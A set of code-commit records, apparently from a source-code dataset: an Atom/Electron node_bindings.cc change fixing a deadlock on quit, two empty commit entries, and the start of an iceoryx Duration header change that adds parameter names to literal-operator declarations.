{\n v8::Context::Scope context_scope(node::g_context);\n v8::Handle<v8::Object> process = node::SetupProcessObject(\n argv.size(), &argv[0]);\n\n \/\/ Tell node.js we are in browser or renderer.\n v8::Handle<v8::String> type =\n is_browser_ ? v8::String::New(\"browser\") : v8::String::New(\"renderer\");\n process->Set(v8::String::New(\"__atom_type\"), type);\n }\n}\n\nvoid NodeBindings::Load() {\n v8::HandleScope scope;\n v8::Context::Scope context_scope(node::g_context);\n node::Load(node::process);\n}\n\nvoid NodeBindings::BindTo(WebKit::WebFrame* frame) {\n v8::HandleScope handle_scope;\n\n v8::Handle<v8::Context> context = frame->mainWorldScriptContext();\n if (context.IsEmpty())\n return;\n\n v8::Context::Scope scope(context);\n\n \/\/ Erase security token.\n context->SetSecurityToken(node::g_context->GetSecurityToken());\n\n \/\/ Evaluate cefode.js.\n v8::Handle<v8::Script> script = node::CompileCefodeMainSource();\n v8::Local<v8::Value> result = script->Run();\n\n \/\/ Run the script of cefode.js.\n std::string script_path(GURL(frame->document().url()).path());\n script_path = net::UnescapeURLComponent(\n script_path,\n net::UnescapeRule::SPACES | net::UnescapeRule::URL_SPECIAL_CHARS);\n v8::Handle<v8::Value> args[2] = {\n v8::Local<v8::Value>::New(node::process),\n ToV8Value(script_path),\n };\n v8::Local<v8::Function>::Cast(result)->Call(context->Global(), 2, args);\n}\n\nvoid NodeBindings::PrepareMessageLoop() {\n DCHECK(!is_browser_ || BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ Add dummy handle for libuv, otherwise libuv would quit when there is\n \/\/ nothing to do.\n uv_async_init(uv_loop_, &dummy_uv_handle_, UvNoOp);\n\n \/\/ Start worker that will interrupt main loop when having uv events.\n uv_sem_init(&embed_sem_, 0);\n uv_thread_create(&embed_thread_, EmbedThreadRunner, this);\n}\n\nvoid NodeBindings::RunMessageLoop() {\n DCHECK(!is_browser_ || BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ The MessageLoop should have been created, remember the one in main thread.\n message_loop_ = base::MessageLoop::current();\n\n \/\/ Run uv loop for once to give the uv__io_poll a chance to add all events.\n UvRunOnce();\n}\n\nvoid NodeBindings::UvRunOnce() {\n DCHECK(!is_browser_ || BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ Enter node context while dealing with uv events.\n v8::HandleScope scope;\n v8::Context::Scope context_scope(node::g_context);\n\n \/\/ Deal with uv events.\n int r = uv_run(uv_loop_, (uv_run_mode)(UV_RUN_ONCE | UV_RUN_NOWAIT));\n if (r == 0 || uv_loop_->stop_flag != 0)\n message_loop_->QuitWhenIdle(); \/\/ Quit from uv.\n\n \/\/ Tell the worker thread to continue polling.\n uv_sem_post(&embed_sem_);\n}\n\nvoid NodeBindings::WakeupMainThread() {\n DCHECK(message_loop_);\n message_loop_->PostTask(FROM_HERE, base::Bind(&NodeBindings::UvRunOnce,\n base::Unretained(this)));\n}\n\nvoid NodeBindings::WakeupEmbedThread() {\n uv_async_send(&dummy_uv_handle_);\n}\n\n\/\/ static\nvoid NodeBindings::EmbedThreadRunner(void *arg) {\n NodeBindings* self = static_cast<NodeBindings*>(arg);\n\n while (!self->embed_closed_) {\n \/\/ Wait for the main loop to deal with events.\n uv_sem_wait(&self->embed_sem_);\n\n self->PollEvents();\n\n \/\/ Deal with event in main thread.\n self->WakeupMainThread();\n }\n}\n\n\/\/ static\nvoid NodeBindings::IdleCallback(uv_timer_t*, int) {\n v8::V8::IdleNotification();\n}\n\n} \/\/ namespace atom\n<commit_msg>Fix a possible dead lock when quiting.<commit_after>\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"common\/node_bindings.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/logging.h\"\n#include \"base\/message_loop.h\"\n#include \"common\/v8_conversions.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"net\/base\/escape.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebDocument.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebFrame.h\"\n#include \"vendor\/node\/src\/node.h\"\n#include \"vendor\/node\/src\/node_internals.h\"\n#include \"vendor\/node\/src\/node_javascript.h\"\n\n#if defined(OS_WIN)\n#include \"base\/strings\/utf_string_conversions.h\"\n#endif\n\nusing content::BrowserThread;\n\nnamespace atom {\n\nnamespace {\n\nvoid UvNoOp(uv_async_t* handle, int status) {\n}\n\n} \/\/ namespace\n\nNodeBindings::NodeBindings(bool is_browser)\n : is_browser_(is_browser),\n message_loop_(NULL),\n uv_loop_(uv_default_loop()),\n embed_closed_(false) {\n}\n\nNodeBindings::~NodeBindings() {\n \/\/ Quit the embed thread.\n embed_closed_ = true;\n uv_sem_post(&embed_sem_);\n WakeupEmbedThread();\n\n \/\/ Wait for everything to be done.\n uv_thread_join(&embed_thread_);\n message_loop_->RunUntilIdle();\n\n \/\/ Clear uv.\n uv_sem_destroy(&embed_sem_);\n uv_timer_stop(&idle_timer_);\n}\n\nvoid NodeBindings::Initialize() {\n CommandLine::StringVector str_argv = CommandLine::ForCurrentProcess()->argv();\n\n#if defined(OS_WIN)\n std::vector<std::string> utf8_str_argv;\n utf8_str_argv.reserve(str_argv.size());\n#endif\n\n \/\/ Convert string vector to char* array.\n std::vector<char*> argv(str_argv.size(), NULL);\n for (size_t i = 0; i < str_argv.size(); ++i) {\n#if defined(OS_WIN)\n utf8_str_argv.push_back(UTF16ToUTF8(str_argv[i]));\n argv[i] = const_cast<char*>(utf8_str_argv[i].c_str());\n#else\n argv[i] = const_cast<char*>(str_argv[i].c_str());\n#endif\n }\n\n \/\/ Init idle GC.\n uv_timer_init(uv_default_loop(), &idle_timer_);\n uv_timer_start(&idle_timer_, IdleCallback, 5000, 5000);\n\n \/\/ Open node's error reporting system for browser process.\n node::g_standalone_mode = is_browser_;\n node::g_upstream_node_mode = false;\n\n \/\/ Init node.\n node::Init(argv.size(), &argv[0]);\n v8::V8::Initialize();\n\n \/\/ Load node.js.\n v8::HandleScope scope;\n node::g_context = v8::Persistent<v8::Context>::New(\n node::node_isolate, v8::Context::New(node::node_isolate));\n {\n v8::Context::Scope context_scope(node::g_context);\n v8::Handle<v8::Object> process = node::SetupProcessObject(\n argv.size(), &argv[0]);\n\n \/\/ Tell node.js we are in browser or renderer.\n v8::Handle<v8::String> type =\n is_browser_ ? v8::String::New(\"browser\") : v8::String::New(\"renderer\");\n process->Set(v8::String::New(\"__atom_type\"), type);\n }\n}\n\nvoid NodeBindings::Load() {\n v8::HandleScope scope;\n v8::Context::Scope context_scope(node::g_context);\n node::Load(node::process);\n}\n\nvoid NodeBindings::BindTo(WebKit::WebFrame* frame) {\n v8::HandleScope handle_scope;\n\n v8::Handle<v8::Context> context = frame->mainWorldScriptContext();\n if (context.IsEmpty())\n return;\n\n v8::Context::Scope scope(context);\n\n \/\/ Erase security token.\n context->SetSecurityToken(node::g_context->GetSecurityToken());\n\n \/\/ Evaluate cefode.js.\n v8::Handle<v8::Script> script = node::CompileCefodeMainSource();\n v8::Local<v8::Value> result = script->Run();\n\n \/\/ Run the script of cefode.js.\n std::string script_path(GURL(frame->document().url()).path());\n script_path = net::UnescapeURLComponent(\n script_path,\n net::UnescapeRule::SPACES | net::UnescapeRule::URL_SPECIAL_CHARS);\n v8::Handle<v8::Value> args[2] = {\n v8::Local<v8::Value>::New(node::process),\n ToV8Value(script_path),\n };\n v8::Local<v8::Function>::Cast(result)->Call(context->Global(), 2, args);\n}\n\nvoid NodeBindings::PrepareMessageLoop() {\n DCHECK(!is_browser_ || BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ Add dummy handle for libuv, otherwise libuv would quit when there is\n \/\/ nothing to do.\n uv_async_init(uv_loop_, &dummy_uv_handle_, UvNoOp);\n\n \/\/ Start worker that will interrupt main loop when having uv events.\n uv_sem_init(&embed_sem_, 0);\n uv_thread_create(&embed_thread_, EmbedThreadRunner, this);\n}\n\nvoid NodeBindings::RunMessageLoop() {\n DCHECK(!is_browser_ || BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ The MessageLoop should have been created, remember the one in main thread.\n message_loop_ = base::MessageLoop::current();\n\n \/\/ Run uv loop for once to give the uv__io_poll a chance to add all events.\n UvRunOnce();\n}\n\nvoid NodeBindings::UvRunOnce() {\n DCHECK(!is_browser_ || BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ Enter node context while dealing with uv events.\n v8::HandleScope scope;\n v8::Context::Scope context_scope(node::g_context);\n\n \/\/ Deal with uv events.\n int r = uv_run(uv_loop_, (uv_run_mode)(UV_RUN_ONCE | UV_RUN_NOWAIT));\n if (r == 0 || uv_loop_->stop_flag != 0)\n message_loop_->QuitWhenIdle(); \/\/ Quit from uv.\n\n \/\/ Tell the worker thread to continue polling.\n uv_sem_post(&embed_sem_);\n}\n\nvoid NodeBindings::WakeupMainThread() {\n DCHECK(message_loop_);\n message_loop_->PostTask(FROM_HERE, base::Bind(&NodeBindings::UvRunOnce,\n base::Unretained(this)));\n}\n\nvoid NodeBindings::WakeupEmbedThread() {\n uv_async_send(&dummy_uv_handle_);\n}\n\n\/\/ static\nvoid NodeBindings::EmbedThreadRunner(void *arg) {\n NodeBindings* self = static_cast<NodeBindings*>(arg);\n\n while (!self->embed_closed_) {\n \/\/ Wait for the main loop to deal with events.\n uv_sem_wait(&self->embed_sem_);\n\n self->PollEvents();\n\n \/\/ Deal with event in main thread.\n self->WakeupMainThread();\n }\n}\n\n\/\/ static\nvoid NodeBindings::IdleCallback(uv_timer_t*, int) {\n v8::V8::IdleNotification();\n}\n\n} \/\/ namespace atom\n<|endoftext|>"} {"text":"<commit_before><commit_msg>one more fix for fdo#58686<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>Fix PetscODESolver callbacks in the matrix free case<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2019 by Robert Bosch GmbH. All rights reserved.\n\/\/ Copyright (c) 2021 by Apex.AI Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ SPDX-License-Identifier: Apache-2.0\n#ifndef IOX_HOOFS_UNITS_DURATION_HPP\n#define IOX_HOOFS_UNITS_DURATION_HPP\n\n#include \"iceoryx_hoofs\/cxx\/expected.hpp\"\n#include \"iceoryx_hoofs\/platform\/time.hpp\" \/\/ required for QNX\n\n#include <chrono>\n#include <cmath>\n#include <iostream>\n#include <numeric>\n\nnamespace iox\n{\nnamespace units\n{\nenum class TimeSpecReference : uint8_t\n{\n None,\n Epoch,\n Monotonic\n};\n\nclass Duration;\n\nnamespace duration_literals\n{\n\/\/\/ @brief Constructs a new Duration object from nanoseconds\nconstexpr Duration operator\"\" _ns(unsigned long long int) noexcept; \/\/ PRQA S 48\n\n\/\/\/ @brief Constructs a new Duration object from microseconds\nconstexpr Duration operator\"\" _us(unsigned long long int) noexcept; \/\/ PRQA S 48\n\n\/\/\/ @brief Constructs a new Duration object from milliseconds\nconstexpr Duration operator\"\" _ms(unsigned long long int) noexcept; \/\/ PRQA S 48\n\n\/\/\/ @brief Constructs a new Duration object from seconds\nconstexpr Duration operator\"\" _s(unsigned long long int) noexcept; \/\/ PRQA S 48\n\n\/\/\/ @brief Constructs a new Duration object from minutes\nconstexpr Duration operator\"\" _m(unsigned long long int) noexcept; \/\/ PRQA S 48\n\n\/\/\/ @brief Constructs a new Duration object from hours\nconstexpr Duration operator\"\" _h(unsigned long long int) noexcept; \/\/ PRQA S 48\n\n\/\/\/ @brief Constructs a new Duration object from days\nconstexpr Duration operator\"\" _d(unsigned long long int) noexcept; \/\/ PRQA S 48\n} \/\/ namespace duration_literals\n\n\/\/\/ @code\n\/\/\/ #include <iostream>\n\/\/\/ \/\/ ...\n\/\/\/ using namespace units;\n\/\/\/ using namespace units::duration_literals;\n\/\/\/ auto someDays = 2 * 7_d + 5_ns;\n\/\/\/ auto someSeconds = 42_s + 500_ms;\n\/\/\/ std::cout << someDays << std::endl;\n\/\/\/ std::cout << someDays.nanoSeconds<uint64_t>() << \" ns\" << std::endl;\n\/\/\/ std::cout << someSeconds.milliSeconds<int64_t>() << \" ms\" << std::endl;\n\/\/\/ @endcode\nclass Duration\n{\n public:\n \/\/ BEGIN CREATION FROM STATIC FUNCTIONS\n\n \/\/\/ @brief Constructs a new Duration object from nanoseconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as nanoseconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromNanoseconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from microseconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as microseconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromMicroseconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from milliseconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as milliseconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromMilliseconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from seconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as seconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromSeconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from minutes\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as minutes\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromMinutes(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from hours\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as hours\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromHours(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from days\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as days\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromDays(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object of maximum allowed length. Useful for functions which should have an\n \/\/\/ \"infinite\" timeout.\n static constexpr Duration max() noexcept;\n\n \/\/\/ @brief Constructs a new Duration object with a duration of zero\n static constexpr Duration zero() noexcept;\n \/\/ END CREATION FROM STATIC FUNCTIONS\n\n \/\/ BEGIN CONSTRUCTORS AND ASSIGNMENT\n\n \/\/\/ @brief Construct a Duration object from timeval\n \/\/\/ @param[in] value as timeval\n constexpr explicit Duration(const struct timeval& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from timespec\n \/\/\/ @param[in] value as timespec\n constexpr explicit Duration(const struct timespec& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from itimerspec\n \/\/\/ @param[in] value as itimerspec\n \/\/\/ @note only it_interval from the itimerspec is used\n constexpr explicit Duration(const struct itimerspec& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from std::chrono::milliseconds\n \/\/\/ @param[in] value as milliseconds\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n constexpr explicit Duration(const std::chrono::milliseconds& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from std::chrono::nanoseconds\n \/\/\/ @param[in] value as nanoseconds\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n constexpr explicit Duration(const std::chrono::nanoseconds& value) noexcept;\n\n \/\/\/ @brief Assigns a std::chrono::milliseconds to an duration object\n \/\/\/ @param[in] rhs is the right hand side of the assignment\n \/\/\/ @return a reference to the Duration object with the assigned millisecond value\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n Duration& operator=(const std::chrono::milliseconds& rhs) noexcept;\n\n \/\/ END CONSTRUCTORS AND ASSIGNMENT\n\n \/\/ BEGIN COMPARISON\n\n \/\/\/ @brief Equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration equal to rhs\n constexpr bool operator==(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Not equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration not equal to rhs\n constexpr bool operator!=(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Less than operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is less than rhs\n constexpr bool operator<(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Less than or equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is less than or equal to rhs\n constexpr bool operator<=(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Greater than operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is greater than rhs\n constexpr bool operator>(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Greater than or equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is greater than or equal to rhs\n constexpr bool operator>=(const Duration& rhs) const noexcept;\n\n \/\/ END COMPARISON\n\n \/\/ BEGIN ARITHMETIC\n\n \/\/\/ @brief Creates Duration object by addition. On overflow duration\n \/\/\/ saturates to Duration::max().\n \/\/\/ @param[in] rhs is the second summand\n \/\/\/ @return a new Duration object\n constexpr Duration operator+(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Creates Duration object by subtraction. On underflow duration\n \/\/\/ saturates to Duration::zero().\n \/\/\/ @param[in] rhs is the subtrahend\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n constexpr Duration operator-(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Creates Duration object by multiplication.\n \/\/\/ @tparam T is an arithmetic type for the multiplicator\n \/\/\/ @param[in] rhs is the multiplicator\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n \/\/\/ @note A duration of 0 will always result in 0, no matter if multiplied with NaN or +Inf\n \/\/\/ @note There is no explicit division operator! This can be achieved by multiplication with the inverse of the\n \/\/\/ divisor.\n \/\/\/ @note Multiplication of a non-zero duration with NaN and +Inf results in a saturated max duration\n template <typename T>\n constexpr Duration operator*(const T& rhs) const noexcept;\n\n \/\/ END ARITHMETIC\n\n \/\/ BEGIN CONVERSION\n\n \/\/\/ @brief returns the duration in nanoseconds\n \/\/\/ @note If the duration in nanoseconds is larger than an uint64_t can represent, it will be clamped to the\n \/\/\/ uint64_t max value.\n constexpr uint64_t toNanoseconds() const noexcept;\n\n \/\/\/ @brief returns the duration in microseconds\n \/\/\/ @note If the duration in microseconds is larger than an uint64_t can represent, it will be clamped to the\n \/\/\/ uint64_t max value.\n \/\/\/ @note The remaining nanoseconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toMicroseconds() const noexcept;\n\n \/\/\/ @brief returns the duration in milliseconds\n \/\/\/ @note If the duration in milliseconds is larger than an uint64_t can represent, it will be clamped to the\n \/\/\/ uint64_t max value.\n \/\/\/ @note The remaining microseconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toMilliseconds() const noexcept;\n\n \/\/\/ @brief returns the duration in seconds\n \/\/\/ @note The remaining milliseconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toSeconds() const noexcept;\n\n \/\/\/ @brief returns the duration in minutes\n \/\/\/ @note The remaining seconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toMinutes() const noexcept;\n\n \/\/\/ @brief returns the duration in hours\n \/\/\/ @note The remaining minutes are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toHours() const noexcept;\n\n \/\/\/ @brief returns the duration in days\n \/\/\/ @note The remaining hours are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toDays() const noexcept;\n\n \/\/\/ @brief converts duration in a timespec c struct\n struct timespec timespec(const TimeSpecReference& reference = TimeSpecReference::None) const noexcept;\n\n \/\/\/ @brief converts duration in a timeval c struct\n \/\/\/ timeval::tv_sec = seconds since the Epoch (01.01.1970)\n \/\/\/ timeval::tv_usec = microseconds\n constexpr struct timeval timeval() const noexcept;\n\n \/\/ END CONVERSION\n\n friend constexpr Duration duration_literals::operator\"\" _ns(unsigned long long int) noexcept; \/\/ PRQA S 48\n friend constexpr Duration duration_literals::operator\"\" _us(unsigned long long int) noexcept; \/\/ PRQA S 48\n friend constexpr Duration duration_literals::operator\"\" _ms(unsigned long long int) noexcept; \/\/ PRQA S 48\n friend constexpr Duration duration_literals::operator\"\" _s(unsigned long long int) noexcept; \/\/ PRQA S 48\n friend constexpr Duration duration_literals::operator\"\" _m(unsigned long long int) noexcept; \/\/ PRQA S 48\n friend constexpr Duration duration_literals::operator\"\" _h(unsigned long long int) noexcept; \/\/ PRQA S 48\n friend constexpr Duration duration_literals::operator\"\" _d(unsigned long long int) noexcept; \/\/ PRQA S 48\n\n template <typename T>\n friend constexpr Duration operator*(const T& lhs, const Duration& rhs) noexcept;\n\n friend std::ostream& operator<<(std::ostream& stream, const Duration& t) noexcept;\n\n static constexpr uint32_t SECS_PER_MINUTE{60U};\n static constexpr uint32_t SECS_PER_HOUR{3600U};\n static constexpr uint32_t HOURS_PER_DAY{24U};\n\n static constexpr uint32_t MILLISECS_PER_SEC{1000U};\n static constexpr uint32_t MICROSECS_PER_SEC{MILLISECS_PER_SEC * 1000U};\n\n static constexpr uint32_t NANOSECS_PER_MICROSEC{1000U};\n static constexpr uint32_t NANOSECS_PER_MILLISEC{NANOSECS_PER_MICROSEC * 1000U};\n static constexpr uint32_t NANOSECS_PER_SEC{NANOSECS_PER_MILLISEC * 1000U};\n\n protected:\n using Seconds_t = uint64_t;\n using Nanoseconds_t = uint32_t;\n\n \/\/\/ @brief Constructs a Duration from seconds and nanoseconds\n \/\/\/ @param[in] seconds portion of the duration\n \/\/\/ @param[in] nanoseconds portion of the duration\n \/\/\/ @note this is protected to be able to use it in unit tests\n constexpr Duration(const Seconds_t seconds, const Nanoseconds_t nanoseconds) noexcept;\n\n \/\/\/ @note this is factory method is necessary to build with msvc due to issues calling a protected constexpr ctor\n \/\/\/ from public methods\n static constexpr Duration createDuration(const Seconds_t seconds, const Nanoseconds_t nanoseconds) noexcept;\n\n private:\n template <typename T, typename String>\n static constexpr unsigned long long int positiveValueOrClampToZero(const T value, const String fromMethod) noexcept;\n\n template <typename T>\n constexpr Duration fromFloatingPointSeconds(const T floatingPointSeconds) const noexcept;\n template <typename From, typename To>\n constexpr bool wouldCastFromFloatingPointProbablyOverflow(const From floatingPoint) const noexcept;\n\n template <typename T>\n constexpr Duration multiplyWith(const std::enable_if_t<!std::is_floating_point<T>::value, T>& rhs) const noexcept;\n\n template <typename T>\n constexpr Duration multiplyWith(const std::enable_if_t<std::is_floating_point<T>::value, T>& rhs) const noexcept;\n\n private:\n Seconds_t m_seconds{0U};\n Nanoseconds_t m_nanoseconds{0U};\n};\n\n\/\/\/ @brief creates Duration object by multiplying object T with a duration. On overflow\n\/\/\/ duration will saturate to Duration::max()\n\/\/\/ @tparam T is an arithmetic type for the multiplicator\n\/\/\/ @param[in] lhs is the multiplicator\n\/\/\/ @param[in] rhs is the multiplicant\n\/\/\/ @return a new Duration object\n\/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\ntemplate <typename T>\nconstexpr Duration operator*(const T& lhs, const Duration& rhs) noexcept;\n\n\/\/\/ @brief stream operator for the Duration class\nstd::ostream& operator<<(std::ostream& stream, const Duration& t) noexcept;\n\n} \/\/ namespace units\n} \/\/ namespace iox\n\n#include \"iceoryx_hoofs\/internal\/units\/duration.inl\"\n\n#endif \/\/ IOX_HOOFS_UNITS_DURATION_HPP\n<commit_msg>iox-#1196 Add paramenter name to function declaration<commit_after>\/\/ Copyright (c) 2019 by Robert Bosch GmbH. All rights reserved.\n\/\/ Copyright (c) 2021 by Apex.AI Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ SPDX-License-Identifier: Apache-2.0\n#ifndef IOX_HOOFS_UNITS_DURATION_HPP\n#define IOX_HOOFS_UNITS_DURATION_HPP\n\n#include \"iceoryx_hoofs\/cxx\/expected.hpp\"\n#include \"iceoryx_hoofs\/platform\/time.hpp\" \/\/ required for QNX\n\n#include <chrono>\n#include <cmath>\n#include <iostream>\n#include <numeric>\n\nnamespace iox\n{\nnamespace units\n{\nenum class TimeSpecReference : uint8_t\n{\n None,\n Epoch,\n Monotonic\n};\n\nclass Duration;\n\nnamespace duration_literals\n{\n\/\/\/ @brief Constructs a new Duration object from nanoseconds\nconstexpr Duration operator\"\" _ns(unsigned long long int value) noexcept;\n\n\/\/\/ @brief Constructs a new Duration object from microseconds\nconstexpr Duration operator\"\" _us(unsigned long long int value) noexcept;\n\n\/\/\/ @brief Constructs a new Duration object from milliseconds\nconstexpr Duration operator\"\" _ms(unsigned long long int value) noexcept;\n\n\/\/\/ @brief Constructs a new Duration object from seconds\nconstexpr Duration operator\"\" _s(unsigned long long int value) noexcept;\n\n\/\/\/ @brief Constructs a new Duration object from minutes\nconstexpr Duration operator\"\" _m(unsigned long long int value) noexcept;\n\n\/\/\/ @brief Constructs a new Duration object from hours\nconstexpr Duration operator\"\" _h(unsigned long long int value) noexcept;\n\n\/\/\/ @brief Constructs a new Duration object from days\nconstexpr Duration operator\"\" _d(unsigned long long intvalue) noexcept;\n} \/\/ namespace duration_literals\n\n\/\/\/ @code\n\/\/\/ #include <iostream>\n\/\/\/ \/\/ ...\n\/\/\/ using namespace units;\n\/\/\/ using namespace units::duration_literals;\n\/\/\/ auto someDays = 2 * 7_d + 5_ns;\n\/\/\/ auto someSeconds = 42_s + 500_ms;\n\/\/\/ std::cout << someDays << std::endl;\n\/\/\/ std::cout << someDays.nanoSeconds<uint64_t>() << \" ns\" << std::endl;\n\/\/\/ std::cout << someSeconds.milliSeconds<int64_t>() << \" ms\" << std::endl;\n\/\/\/ @endcode\nclass Duration\n{\n public:\n \/\/ BEGIN CREATION FROM STATIC FUNCTIONS\n\n \/\/\/ @brief Constructs a new Duration object from nanoseconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as nanoseconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromNanoseconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from microseconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as microseconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromMicroseconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from milliseconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as milliseconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromMilliseconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from seconds\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as seconds\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromSeconds(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from minutes\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as minutes\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromMinutes(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from hours\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as hours\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromHours(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object from days\n \/\/\/ @tparam T is an integer type for the value\n \/\/\/ @param[in] value as days\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n template <typename T>\n static constexpr Duration fromDays(const T value) noexcept;\n\n \/\/\/ @brief Constructs a new Duration object of maximum allowed length. Useful for functions which should have an\n 